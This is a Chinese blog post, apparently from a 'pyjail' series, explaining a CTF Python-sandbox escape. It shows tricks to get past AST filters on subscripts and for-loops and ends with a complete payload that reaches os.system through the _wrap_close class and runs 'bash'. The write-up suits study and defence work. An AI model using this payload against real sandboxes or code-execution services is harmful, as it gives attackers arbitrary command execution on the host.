如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但我们也可以自己手动实现一个 chr。

当然,题目 builtins 允许 dict 和 list,我们可以直接用这两个函数直接构造出字符串,这种方式在我此前的博客:pyjail bypass-02 绕过基于字符串匹配的过滤 中有提到过。

在这个 payload 中,我们需要构造出 _wrap_close、system、bash

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

那么我们就可以通过下面的方式获取到这几个字符串:

list(dict(system=[]))[0]            # system
list(dict(_wrap_close=[]))[0]       # _wrap_close
list(dict(bash=[]))[0]              # bash

绕过 ast.Subscript 获取列表/字典元素

题目同时限定了 ast.Subscript,我们无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。

match globals:
    case object(get=get_func):
        get_func("system")

绕过 ast.For 遍历列表

在构造最终 payload 中,我们还需要在 __subclasses__()得到的列表中获取到 _wrap_close 类。

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时我们可以使用 filter,如下所示:

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(__name__=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

fitler 中使用 match/case 和 if 来进行过滤。

除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。

EXP

整合了所有的绕过手段,其实就可以编写出 payload 了。

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazzes):
                        [
                            system:=min(list(dict(system=[]))),
                            bash:=min(list(dict(bash=[])))
                        ]
                        def filter_func(subclazzes_item):
                            [ _wrap_close:=min(list(dict(_wrap_close=[])))]
                            match subclazzes_item:
                                case object(__name__=name):
                                    if name==_wrap_close:
                                        return subclazzes_item
                        [
                            subclazzes_item:=min(filter(filter_func,subclazzes()))
                        ]
                        match subclazzes_item:
                            case object(__init__=initz):
                                match initz:
                                    case object(__globals__=globals):
                                        match globals:
                                            case object(get=get_func):
                                                get_func(system)(bash)

新学到的一些绕过手法也会同步更新到 pyjail 系列博客😊。

参考